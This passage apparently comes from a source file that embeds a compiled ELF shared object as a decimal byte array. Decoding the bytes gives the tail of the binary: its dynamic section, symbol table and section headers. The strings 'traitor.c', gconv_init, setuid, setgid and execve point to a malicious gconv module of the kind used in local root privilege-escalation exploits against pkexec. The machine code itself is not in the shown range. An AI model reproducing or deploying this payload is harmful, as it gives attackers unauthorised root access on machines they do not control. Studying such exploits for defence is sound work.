0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
48, 17, 0, 0, 0, 0, 0, 0, 224, 16, 0, 0, 0, 0, 0, 0,
1, 0, 0, 0, 0, 0, 0, 0, 128, 0, 0, 0, 0, 0, 0, 0,
12, 0, 0, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0,
13, 0, 0, 0, 0, 0, 0, 0, 184, 17, 0, 0, 0, 0, 0, 0,
25, 0, 0, 0, 0, 0, 0, 0, 16, 62, 0, 0, 0, 0, 0, 0,
27, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
26, 0, 0, 0, 0, 0, 0, 0, 24, 62, 0, 0, 0, 0, 0, 0,
28, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
245, 254, 255, 111, 0, 0, 0, 0, 0, 3, 0, 0, 0, 0, 0, 0,
5, 0, 0, 0, 0, 0, 0, 0, 48, 4, 0, 0, 0, 0, 0, 0,
6, 0, 0, 0, 0, 0, 0, 0, 40, 3, 0, 0, 0, 0, 0, 0,
10, 0, 0, 0, 0, 0, 0, 0, 150, 0, 0, 0, 0, 0, 0, 0,
11, 0, 0, 0, 0, 0, 0, 0, 24, 0, 0, 0, 0, 0, 0, 0,
3, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0,
2, 0, 0, 0, 0, 0, 0, 0, 96, 0, 0, 0, 0, 0, 0, 0,
20, 0, 0, 0, 0, 0, 0, 0, 7, 0, 0, 0, 0, 0, 0, 0,
23, 0, 0, 0, 0, 0, 0, 0, 168, 5, 0, 0, 0, 0, 0, 0,
7, 0, 0, 0, 0, 0, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0,
8, 0, 0, 0, 0, 0, 0, 0, 168, 0, 0, 0, 0, 0, 0, 0,
9, 0, 0, 0, 0, 0, 0, 0, 24, 0, 0, 0, 0, 0, 0, 0,
254, 255, 255, 111, 0, 0, 0, 0, 224, 4, 0, 0, 0, 0, 0, 0,
255, 255, 255, 111, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0,
240, 255, 255, 111, 0, 0, 0, 0, 198, 4, 0, 0, 0, 0, 0, 0,
249, 255, 255, 111, 0, 0, 0, 0, 3, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
32, 62, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 54, 16, 0, 0, 0, 0, 0, 0,
70, 16, 0, 0, 0, 0, 0, 0, 86, 16, 0, 0, 0, 0, 0, 0,
102, 16, 0, 0, 0, 0, 0, 0, 56, 64, 0, 0, 0, 0, 0, 0,
71, 67, 67, 58, 32, 40, 71, 78, 85, 41, 32, 49, 49, 46, 49, 46,
48, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
1, 0, 0, 0, 4, 0, 241, 255, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 12, 0, 0, 0, 2, 0, 12, 0,
112, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
14, 0, 0, 0, 2, 0, 12, 0, 160, 16, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 33, 0, 0, 0, 2, 0, 12, 0,
224, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
55, 0, 0, 0, 1, 0, 23, 0, 64, 64, 0, 0, 0, 0, 0, 0,
1, 0, 0, 0, 0, 0, 0, 0, 67, 0, 0, 0, 1, 0, 18, 0,
24, 62, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
106, 0, 0, 0, 2, 0, 12, 0, 48, 17, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 118, 0, 0, 0, 1, 0, 17, 0,
16, 62, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
149, 0, 0, 0, 4, 0, 241, 255, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 4, 0, 241, 255,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
159, 0, 0, 0, 1, 0, 16, 0, 244, 32, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 241, 255,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
173, 0, 0, 0, 2, 0, 13, 0, 184, 17, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 179, 0, 0, 0, 1, 0, 22, 0,
56, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
192, 0, 0, 0, 1, 0, 19, 0, 32, 62, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 201, 0, 0, 0, 0, 0, 15, 0,
84, 32, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
220, 0, 0, 0, 1, 0, 22, 0, 64, 64, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 232, 0, 0, 0, 1, 0, 21, 0,
0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
179, 1, 0, 0, 2, 0, 10, 0, 0, 16, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 254, 0, 0, 0, 32, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
26, 1, 0, 0, 18, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 45, 1, 0, 0, 32, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
60, 1, 0, 0, 18, 0, 12, 0, 57, 17, 0, 0, 0, 0, 0, 0,
7, 0, 0, 0, 0, 0, 0, 0, 66, 1, 0, 0, 18, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
85, 1, 0, 0, 18, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 102, 1, 0, 0, 32, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
128, 1, 0, 0, 18, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 147, 1, 0, 0, 34, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
174, 1, 0, 0, 18, 0, 12, 0, 64, 17, 0, 0, 0, 0, 0, 0,
118, 0, 0, 0, 0, 0, 0, 0, 0, 99, 114, 116, 115, 116, 117, 102,
102, 46, 99, 0, 100, 101, 114, 101, 103, 105, 115, 116, 101, 114, 95, 116,
109, 95, 99, 108, 111, 110, 101, 115, 0, 95, 95, 100, 111, 95, 103, 108,
111, 98, 97, 108, 95, 100, 116, 111, 114, 115, 95, 97, 117, 120, 0, 99,
111, 109, 112, 108, 101, 116, 101, 100, 46, 48, 0, 95, 95, 100, 111, 95,
103, 108, 111, 98, 97, 108, 95, 100, 116, 111, 114, 115, 95, 97, 117, 120,
95, 102, 105, 110, 105, 95, 97, 114, 114, 97, 121, 95, 101, 110, 116, 114,
121, 0, 102, 114, 97, 109, 101, 95, 100, 117, 109, 109, 121, 0, 95, 95,
102, 114, 97, 109, 101, 95, 100, 117, 109, 109, 121, 95, 105, 110, 105, 116,
95, 97, 114, 114, 97, 121, 95, 101, 110, 116, 114, 121, 0, 116, 114, 97,
105, 116, 111, 114, 46, 99, 0, 95, 95, 70, 82, 65, 77, 69, 95, 69,
78, 68, 95, 95, 0, 95, 102, 105, 110, 105, 0, 95, 95, 100, 115, 111,
95, 104, 97, 110, 100, 108, 101, 0, 95, 68, 89, 78, 65, 77, 73, 67,
0, 95, 95, 71, 78, 85, 95, 69, 72, 95, 70, 82, 65, 77, 69, 95,
72, 68, 82, 0, 95, 95, 84, 77, 67, 95, 69, 78, 68, 95, 95, 0,
95, 71, 76, 79, 66, 65, 76, 95, 79, 70, 70, 83, 69, 84, 95, 84,
65, 66, 76, 69, 95, 0, 95, 73, 84, 77, 95, 100, 101, 114, 101, 103,
105, 115, 116, 101, 114, 84, 77, 67, 108, 111, 110, 101, 84, 97, 98, 108,
101, 0, 101, 120, 101, 99, 118, 101, 64, 71, 76, 73, 66, 67, 95, 50,
46, 50, 46, 53, 0, 95, 95, 103, 109, 111, 110, 95, 115, 116, 97, 114,
116, 95, 95, 0, 103, 99, 111, 110, 118, 0, 115, 101, 116, 103, 105, 100,
64, 71, 76, 73, 66, 67, 95, 50, 46, 50, 46, 53, 0, 101, 120, 105,
116, 64, 71, 76, 73, 66, 67, 95, 50, 46, 50, 46, 53, 0, 95, 73,
84, 77, 95, 114, 101, 103, 105, 115, 116, 101, 114, 84, 77, 67, 108, 111,
110, 101, 84, 97, 98, 108, 101, 0, 115, 101, 116, 117, 105, 100, 64, 71,
76, 73, 66, 67, 95, 50, 46, 50, 46, 53, 0, 95, 95, 99, 120, 97,
95, 102, 105, 110, 97, 108, 105, 122, 101, 64, 71, 76, 73, 66, 67, 95,
50, 46, 50, 46, 53, 0, 103, 99, 111, 110, 118, 95, 105, 110, 105, 116,
0, 0, 46, 115, 121, 109, 116, 97, 98, 0, 46, 115, 116, 114, 116, 97,
98, 0, 46, 115, 104, 115, 116, 114, 116, 97, 98, 0, 46, 110, 111, 116,
101, 46, 103, 110, 117, 46, 112, 114, 111, 112, 101, 114, 116, 121, 0, 46,
110, 111, 116, 101, 46, 103, 110, 117, 46, 98, 117, 105, 108, 100, 45, 105,
100, 0, 46, 103, 110, 117, 46, 104, 97, 115, 104, 0, 46, 100, 121, 110,
115, 121, 109, 0, 46, 100, 121, 110, 115, 116, 114, 0, 46, 103, 110, 117,
46, 118, 101, 114, 115, 105, 111, 110, 0, 46, 103, 110, 117, 46, 118, 101,
114, 115, 105, 111, 110, 95, 114, 0, 46, 114, 101, 108, 97, 46, 100, 121,
110, 0, 46, 114, 101, 108, 97, 46, 112, 108, 116, 0, 46, 105, 110, 105,
116, 0, 46, 116, 101, 120, 116, 0, 46, 102, 105, 110, 105, 0, 46, 114,
111, 100, 97, 116, 97, 0, 46, 101, 104, 95, 102, 114, 97, 109, 101, 95,
104, 100, 114, 0, 46, 101, 104, 95, 102, 114, 97, 109, 101, 0, 46, 105,
110, 105, 116, 95, 97, 114, 114, 97, 121, 0, 46, 102, 105, 110, 105, 95,
97, 114, 114, 97, 121, 0, 46, 100, 121, 110, 97, 109, 105, 99, 0, 46,
103, 111, 116, 0, 46, 103, 111, 116, 46, 112, 108, 116, 0, 46, 100, 97,
116, 97, 0, 46, 98, 115, 115, 0, 46, 99, 111, 109, 109, 101, 110, 116,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 27, 0, 0, 0, 7, 0, 0, 0,
2, 0, 0, 0, 0, 0, 0, 0, 168, 2, 0, 0, 0, 0, 0, 0,
168, 2, 0, 0, 0, 0, 0, 0, 48, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 46, 0, 0, 0, 7, 0, 0, 0,
2, 0, 0, 0, 0, 0, 0, 0, 216, 2, 0, 0, 0, 0, 0, 0,
216, 2, 0, 0, 0, 0, 0, 0, 36, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 65, 0, 0, 0, 246, 255, 255, 111,
2, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0, 0, 0, 0, 0, 0,
0, 3, 0, 0, 0, 0, 0, 0, 40, 0, 0, 0, 0, 0, 0, 0,
4, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 75, 0, 0, 0, 11, 0, 0, 0,
2, 0, 0, 0, 0, 0, 0, 0, 40, 3, 0, 0, 0, 0, 0, 0,
40, 3, 0, 0, 0, 0, 0, 0, 8, 1, 0, 0, 0, 0, 0, 0,
5, 0, 0, 0, 1, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
24, 0, 0, 0, 0, 0, 0, 0, 83, 0, 0, 0, 3, 0, 0, 0,
2, 0, 0, 0, 0, 0, 0, 0, 48, 4, 0, 0, 0, 0, 0, 0,
48, 4, 0, 0, 0, 0, 0, 0, 150, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 91, 0, 0, 0, 255, 255, 255, 111,
2, 0, 0, 0, 0, 0, 0, 0, 198, 4, 0, 0, 0, 0, 0, 0,
198, 4, 0, 0, 0, 0, 0, 0, 22, 0, 0, 0, 0, 0, 0, 0,
4, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0,
2, 0, 0, 0, 0, 0, 0, 0, 104, 0, 0, 0, 254, 255, 255, 111,
2, 0, 0, 0, 0, 0, 0, 0, 224, 4, 0, 0, 0, 0, 0, 0,
224, 4, 0, 0, 0, 0, 0, 0, 32, 0, 0, 0, 0, 0, 0, 0,
5, 0, 0, 0, 1, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 119, 0, 0, 0, 4, 0, 0, 0,
2, 0, 0, 0, 0, 0, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0,
0, 5, 0, 0, 0, 0, 0, 0, 168, 0, 0, 0, 0, 0, 0, 0,
4, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
24, 0, 0, 0, 0, 0, 0, 0, 129, 0, 0, 0, 4, 0, 0, 0,
66, 0, 0, 0, 0, 0, 0, 0, 168, 5, 0, 0, 0, 0, 0, 0,
168, 5, 0, 0, 0, 0, 0, 0, 96, 0, 0, 0, 0, 0, 0, 0,
4, 0, 0, 0, 21, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
24, 0, 0, 0, 0, 0, 0, 0, 139, 0, 0, 0, 1, 0, 0, 0,
6, 0, 0, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0,
0, 16, 0, 0, 0, 0, 0, 0, 27, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 134, 0, 0, 0, 1, 0, 0, 0,
6, 0, 0, 0, 0, 0, 0, 0, 32, 16, 0, 0, 0, 0, 0, 0,
32, 16, 0, 0, 0, 0, 0, 0, 80, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0,
16, 0, 0, 0, 0, 0, 0, 0, 145, 0, 0, 0, 1, 0, 0, 0,
6, 0, 0, 0, 0, 0, 0, 0, 112, 16, 0, 0, 0, 0, 0, 0,
112, 16, 0, 0, 0, 0, 0, 0, 70, 1, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 151, 0, 0, 0, 1, 0, 0, 0,
6, 0, 0, 0, 0, 0, 0, 0, 184, 17, 0, 0, 0, 0, 0, 0,
184, 17, 0, 0, 0, 0, 0, 0, 13, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 157, 0, 0, 0, 1, 0, 0, 0,
2, 0, 0, 0, 0, 0, 0, 0, 0, 32, 0, 0, 0, 0, 0, 0,
0, 32, 0, 0, 0, 0, 0, 0, 83, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 165, 0, 0, 0, 1, 0, 0, 0,
2, 0, 0, 0, 0, 0, 0, 0, 84, 32, 0, 0, 0, 0, 0, 0,
84, 32, 0, 0, 0, 0, 0, 0, 36, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 179, 0, 0, 0, 1, 0, 0, 0,
2, 0, 0, 0, 0, 0, 0, 0, 120, 32, 0, 0, 0, 0, 0, 0,
120, 32, 0, 0, 0, 0, 0, 0, 128, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 189, 0, 0, 0, 14, 0, 0, 0,
3, 0, 0, 0, 0, 0, 0, 0, 16, 62, 0, 0, 0, 0, 0, 0,
16, 46, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
8, 0, 0, 0, 0, 0, 0, 0, 201, 0, 0, 0, 15, 0, 0, 0,
3, 0, 0, 0, 0, 0, 0, 0, 24, 62, 0, 0, 0, 0, 0, 0,
24, 46, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
8, 0, 0, 0, 0, 0, 0, 0, 213, 0, 0, 0, 6, 0, 0, 0,
3, 0, 0, 0, 0, 0, 0, 0, 32, 62, 0, 0, 0, 0, 0, 0,
32, 46, 0, 0, 0, 0, 0, 0, 192, 1, 0, 0, 0, 0, 0, 0,
5, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
16, 0, 0, 0, 0, 0, 0, 0, 222, 0, 0, 0, 1, 0, 0, 0,
3, 0, 0, 0, 0, 0, 0, 0, 224, 63, 0, 0, 0, 0, 0, 0,
224, 47, 0, 0, 0, 0, 0, 0, 32, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
8, 0, 0, 0, 0, 0, 0, 0, 227, 0, 0, 0, 1, 0, 0, 0,
